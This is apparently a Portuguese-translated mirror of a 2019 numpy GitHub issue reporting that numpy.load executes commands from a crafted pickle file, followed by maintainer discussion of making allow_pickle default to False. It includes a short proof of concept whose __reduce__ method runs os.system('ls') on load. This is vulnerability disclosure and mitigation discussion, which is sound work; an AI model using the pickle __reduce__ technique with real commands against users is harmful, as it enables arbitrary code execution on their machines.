<p>função de carregamento numpy com dados ruins causará a execução do comando</p>

Criado em 16 jan. 2019  ·  32Comentários  ·  Fonte: numpy/numpy

a função de carregamento numpy com dados nocivos causará a execução de comandos, se o ataque compartilhar dados nocivos na internet,
quando o usuário o carrega, ele causará a execução do comando.

Reproduzindo exemplo de código:

import numpy
from numpy import __version__
print __version__
import os
import  pickle
class Test(object):
    def __init__(self):
        self.a = 1

    def __reduce__(self):
        return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:
    pickle.dump(tmpdaa,f)
numpy.load('a-file.pickle')

Informações sobre a versão Numpy / Python:

1.14.6

00 - Bug 15 - Discussion Documentation good first issue

Comentários muito úteis

Ainda sou a favor de um aviso ao carregar dados de objetos, pode ser um pouco "tarde demais", mas torna a transição muito menos ruidosa. Poderíamos adicionar um aviso ao salvar (apenas um aviso permanente). Existe um PRs aberto que espero transformar em algo mais parecido com isso. Se você quiser gastar tempo com isso, geralmente ficamos felizes com os RP.
Parece-me que é uma conversão para iniciar um ciclo de suspensão de uso em breve, de qualquer forma, e acho que isso vai acontecer (mas será mais cedo se alguém o retomar;)) Pode haver uma pequena chance de um pedido atrasar, mas eu duvido, e é difícil saber sem tentar.

Todos 32 comentários

a versão <= 1.16.0 funcionou

Sim, é por isso que np.load(allow_pickle=True) foi adicionado, agora acho que poderíamos mudar para o padrão de False e dar uma mensagem bem legível "use allow_pickle="True" se você confiar neste arquivo ".

Eu concordo que este seria o melhor padrão, então estou aberto a empurrar essa depreciação, mesmo que infelizmente seja um pouco barulhento, por exemplo, para todos aqueles cientistas apenas compartilhando alguns dados no laboratório (ou apenas salvando / recarregando-se).

Então allow_pickle foi adicionado em abril de 2015, então parece que deveria ter existido desde o numpy 1.10. Portanto, acho que esse movimento ficou mais realista agora, já que duvido que muitos que usam / apoiam o 1.17 também suportem o 1.10 (removendo a dor de apoiar ou não o kwarg). Embora no momento pareça que o scipy, pelo menos ainda suporte 1.8 na versão 1.

parece que vai durar muito tempo

Eu sugeriria registrar um aviso de suspensão de uso e fornecer uma data se você quiser uma transição tranquila.

@Plazmaz , é claro, eu escolheria um VisibleDeprecationWarning, se quisermos que usuários casuais parem de fazer isso. Em seguida, desative o uso após um ou dois lançamentos. O problema é que é chato contornar o problema se for necessário e o kwarg não existir em algumas versões mais antigas. Porque então você tem que fazer if np.__version__ > ...: use kwarg else do not use kwarg para evitar o aviso e oferecer suporte a ambos.

De qualquer forma, acho que há uma boa chance de você colocá-lo no 1.17. Então, se você acha que está abrindo um PR, mas podemos dar um ping na lista de discussão para ver se alguém reclama.

Olá, mantenedor do Fedora RPM. Qual é uma boa maneira de mitigar isso no empacotamento da distro?

Não conheço um jeito legal. Dependendo do nível de preocupação, eu poderia adicionar um aviso muito em breve, para que ele esteja definitivamente lá no 1.17. Se alguém estiver extremamente preocupado, poderíamos discutir um backport ou uma mudança mais rápida, mas isso dependeria muito do fato de o downstream depender ou não disso.

Estou trabalhando nisso.

cc @jeanqasaur re: experiência em segurança / vulnerabilidade

Olá, mantenedor do Fedora RPM. Qual é uma boa maneira de mitigar isso no empacotamento da distro?

@limburgher : o que o fedora faz com relação à mesma funcionalidade do Python? Não está claro se isso é algo que precisa ser mitigado.

Embora eu não me oponha a alterar o padrão, parece errado declarar isso uma vulnerabilidade. Está funcionando conforme documentado e projetado.

Infelizmente, a regra é que, uma vez que um número CVE é atribuído, não importa mais se há algum bug ou não, as distros precisam tentar fazer algo para provar aos clientes que estão fornecendo valor. Não tenho certeza do que seria aqui, mas as empresas e o pessoal de operações estão sempre lutando para gerenciar o fluxo contínuo de vulnerabilidades, e as ferramentas que usam para fazer isso não têm muito espaço para comunicar nuances, então é assim que a pressão vai. Não temos clientes, portanto, não devemos necessariamente levar isso em consideração fora de nós.

Podemos dizer durante save e load se um arquivo em particular usa picles ou não, certo? Provavelmente é bom migrar para allow_pickle=False em ambos os casos, com um período intermediário onde emitimos algum tipo de aviso de depreciação exatamente nos casos em que save ou load realmente precisa para usar picles e allow_pickle não foi especificado.

@ eric-wieser A diferença do pickle stdlib é que load / save realmente pode evitar o uso de pickle na maioria dos casos (por exemplo, arrays simples de tipos primitivos); pickle só é usado em casos mais exóticos, como matrizes de objetos ou certos dtypes complicados do IIRC. Isso possibilita que as pessoas que estão usando principalmente o caso seguro não percebam que o caso inseguro existe, se não lerem os documentos com atenção suficiente. E de qualquer forma, dado que temos um "modo seguro" e um "modo inseguro", é melhor que o "modo seguro" seja o padrão. Para stdlib pickle OTOH, é sempre 100% inseguro 100% do tempo, portanto, não há motivo para se preocupar com os padrões.

Honestamente, se for uma funcionalidade intencional documentada, posso fechar o BZ em sã consciência, especialmente se seguro for o padrão. Não sei como lidamos com a funcionalidade do Python. Eu vou procurar.

Do meu exame das especificações, não acho que alteramos nada do upstream nesse aspecto.

O CVE foi contestado? Isso pode tornar o cenário mais claro para os mantenedores.

O CVE parece amplamente falso. Que numpy.load pode executar código arbitrário é bem conhecido e documentado e é necessário para carregar matrizes de objetos Python serializados. O usuário pode proibir o carregamento de matrizes de objetos passando allow_pickle=False para esta função de biblioteca.

Teria sido melhor se o padrão fosse carregar matrizes de objetos apenas quando explicitamente solicitado, mas é assim por razões históricas. A transição também foi sugerida antes, e a discussão acima é sobre como fazê-la de uma forma que não quebre incontrolavelmente a compatibilidade com versões anteriores.

O uso descuidado de numpy.load , da mesma forma que a decapagem Python, pode levar a vulnerabilidades em aplicativos downstream.

Que numpy.load pode executar código arbitrário é bem conhecido e documentado e é necessário para carregar matrizes de objetos Python serializados.

Prefiro dizer apenas que está documentado. Tenho usado o numpy por alguns anos e, embora não seja um usuário frequente de numpy.save / numpy.load , não era nada óbvio para mim numpy.load sofre da mesma vulnerabilidade que pickle . É claro que eu não sabia que numpy.load poderia usar pickle sob o capô (eu apenas uso matrizes nativas numpy e nunca pensei nisso, exatamente o cenário que @njsmith mencionou).

O fato de pickle ser vulnerável é bem conhecido e sua documentação tem um grande aviso vermelho no topo dizendo

Aviso : O módulo pickle não é seguro contra dados errôneos ou construídos de forma maliciosa. Nunca retire dados recebidos de uma fonte não confiável ou não autenticada.

Em comparação, os documentos de numpy.load parecem mencionar todo o aspecto de segurança como um aparte na descrição de sua palavra -

allow_pickle: _bool, optional_
Permitir o carregamento de matrizes de objetos em conserva armazenados em arquivos npy. As razões para não permitir pickles incluem segurança, pois o carregamento de dados em pickles pode executar código arbitrário. Se picles não forem permitidos, o carregamento de matrizes de objetos falhará. Padrão: Verdadeiro

Eu não odiaria se pudéssemos colocar um grande aviso vermelho na documentação de numpy.load , pelo menos até allow_pickle=False se tornar o padrão. Até que essa mudança seja feita, ver numpy.load deve levantar a mesma bandeira vermelha em sua mente que pickle.load aumenta.

Documentação de boas-vindas para numpy.load

A documentação agora tem um aviso sobre picles

Infelizmente, a regra é que, uma vez que um número CVE é atribuído, não importa mais se há algum bug ou não, as distros têm que tentar fazer _algo_ para provar a seus clientes que estão fornecendo valor. Não tenho certeza do que seria aqui, mas as empresas e o pessoal de operações estão sempre lutando para gerenciar o fluxo contínuo de vulnerabilidades, e as ferramentas que usam para fazer isso não têm muito espaço para comunicar nuances, então é assim que a pressão vai.

@njsmith não é tão ruim : faremos numpy.load padrão para allow_pickle para False , o que na verdade não é uma ideia completamente estúpida.

O único risco que vejo é que qualquer projeto que não defina explicitamente allow_pickle será interrompido.

Não é apenas com os projetos do usuário final que devemos nos preocupar - estou preocupado com as bibliotecas downstream que fornecem mylib.load que envolvem np.load . Eles começarão a falhar ao carregar matrizes de objetos. Uma de três coisas acontecerá com eles:

  • Eles permanecem abandonados e nunca funcionarão em matrizes de objetos da maneira como costumavam. Os usuários descobrirão que seus dados são mantidos como reféns e terão que fazer o downgrade do numpy para recuperá-los.
  • Eles relançam a configuração allow_pickle=True para retomar o comportamento antigo - que são as bibliotecas downstream indicando que eles acham que esse não é um vetor de ataque com o qual se importam. Isso ainda custa a eles uma versão incompatível
  • Eles irão expor allow_pickle=False em sua própria API, empurrando o problema para o futuro.

Minha preferência seria:

  • Não faça nada para np.save . Ter um script de longa duração travando no final ao salvar um array de objetos é uma experiência terrível.
  • Altere o padrão em np.load para None . Detecte o usuário que não está passando True ou False explicitamente e emita um UserWarning explicando os perigos, pedindo a ele para escolher entre segurança ( False ) e objeto suporte de array ( True ). Padrão para o status quo após emitir este aviso. Pelo que sei, o problema aqui é a falta de consciência. Nenhuma das opções está correta em todos os casos, portanto, não acho que devemos mudar repentinamente de ideia sobre o padrão sem aviso.

@ eric-wieser boa observação sobre a dor de um script travar. Eu estaria disposto a dar UserWarning por padrão.

A questão é o que queremos fazer a longo prazo em load . Não tenho certeza se gosto de forçar todos a usar o kwarg (para silenciar o aviso), quando o array está seguro. Embora tenha o mérito de não ter nenhum perigo de bloquear os dados de alguém ... OTOH, se o aviso só aparecer na carga "insegura", pode ser tarde demais. No momento, acho que tenho uma ligeira preferência por tornar o período de transição um pouco mais longo.

OTOH, se o aviso aparecer apenas na carga "insegura", pode ser tarde demais.

Ou:

  • A biblioteca / script já existe e está publicado - qualquer coisa que fizermos já é tarde demais
  • A biblioteca / script ainda está em desenvolvimento. O desenvolvedor deve ver o aviso durante o teste local no arquivo seguro e deve ser capaz de tomar uma decisão informada sobre o comportamento que deseja. Por este motivo, devemos emitir o aviso mesmo que o array seja seguro (e provavelmente antes de carregá-lo, apenas no caso de eles terem o equivalente em python de -Werror set).

Sim, definitivamente concordo com as bibliotecas, mas acho que pode ser um pouco irritante para o grande número de scripts mais curtos.

Altere o padrão em np.load para None . Detecte o usuário que não está passando True ou False explicitamente e emita um UserWarning explicando os perigos, pedindo a ele para escolher entre segurança ( False ) e objeto suporte de array ( True ). Padrão para o status quo após emitir este aviso. Pelo que sei, o problema aqui é a falta de consciência. Nenhuma das opções está correta em todos os casos, portanto, não acho que devemos mudar repentinamente de ideia sobre o padrão sem aviso.

Mas isso parece super irritante. A maioria das pessoas (eu acredito) não salva / carrega matrizes de objetos. E o pior caso se alguém perder o aviso é (eventualmente) o script travar ao carregar, os dados ainda estarão seguros no disco e eles tentarem novamente com o sinalizador allow_pickle .

Está além da responsabilidade do numpy tentar carregar com segurança primeiro e apenas gritando no caso de falhar devido a matrizes de objetos? Isso removeria o trabalho extra para a maioria dos casos de uso (não objetivos), mas acho que também reduziria a visibilidade de todo o problema de segurança. Então, novamente, eu acho que "os usuários devem estar muito cientes" e "os usuários não devem ser incomodados" são esforços um pouco contraditórios aqui.

* Change the default in `np.load` to `None`. Detect the user not passing in `True` or `False` explicitly, and emit a `UserWarning` explaining the dangers, asking them to choose between security (`False`) and object array support (`True`). Default to the status quo after emitting this warning. It's my understanding that the problem here is lack of awareness. Neither choice is correct in all cases, so I don't think we should suddenly change our minds about the default without warning.

E quanto a este patch ?

* Change the default in `np.load` to `None`. Detect the user not passing in `True` or `False` explicitly, and emit a `UserWarning` explaining the dangers, asking them to choose between security (`False`) and object array support (`True`). Default to the status quo after emitting this warning. It's my understanding that the problem here is lack of awareness. Neither choice is correct in all cases, so I don't think we should suddenly change our minds about the default without warning.

E quanto a este patch:

--- a/numpy/lib/npyio.py
+++ b/numpy/lib/npyio.py
@@ -265,7 +265,7 @@ class NpzFile(object):
         return self.files.__contains__(key)


-def load(file, mmap_mode=None, allow_pickle=True, fix_imports=True,
+def load(file, mmap_mode=None, allow_pickle=None, fix_imports=True,
          encoding='ASCII'):
     """
     Load arrays or pickled objects from ``.npy``, ``.npz`` or pickled files.
@@ -367,6 +367,16 @@ def load(file, mmap_mode=None, allow_pic
     memmap([4, 5, 6])

     """
+
+    if allow_pickle is None:
+        UserWarning("""
+        numpy.load() run without explicit setting allow_pickle option.
+        If you are not completely certain about security of the pickled
+        data, you are strongly encouraged to set allow_pickle to False,
+        otherwise you can set it to True.
+        """)
+        allow_pickle = False
+
     own_fid = False
     if isinstance(file, basestring):
         fid = open(file, "rb")

Ainda sou a favor de um aviso ao carregar dados de objetos, pode ser um pouco "tarde demais", mas torna a transição muito menos ruidosa. Poderíamos adicionar um aviso ao salvar (apenas um aviso permanente). Existe um PRs aberto que espero transformar em algo mais parecido com isso. Se você quiser gastar tempo com isso, geralmente ficamos felizes com os RP.
Parece-me que é uma conversão para iniciar um ciclo de suspensão de uso em breve, de qualquer forma, e acho que isso vai acontecer (mas será mais cedo se alguém o retomar;)) Pode haver uma pequena chance de um pedido atrasar, mas eu duvido, e é difícil saber sem tentar.

Você poderia fechar este problema, pois ele é referenciado em https://nvd.nist.gov/vuln/detail/CVE-2019-6446 por causa do qual a Nexus iq ainda considera que é vulnerável

obrigado @ Manjunath07

Esta página foi útil?
0 / 5 - 0 avaliações

Questões relacionadas

marcocaccin picture marcocaccin  ·  4Comentários

Levstyle picture Levstyle  ·  3Comentários

manuels picture manuels  ·  3Comentários

Kreol64 picture Kreol64  ·  3Comentários

dmvianna picture dmvianna  ·  4Comentários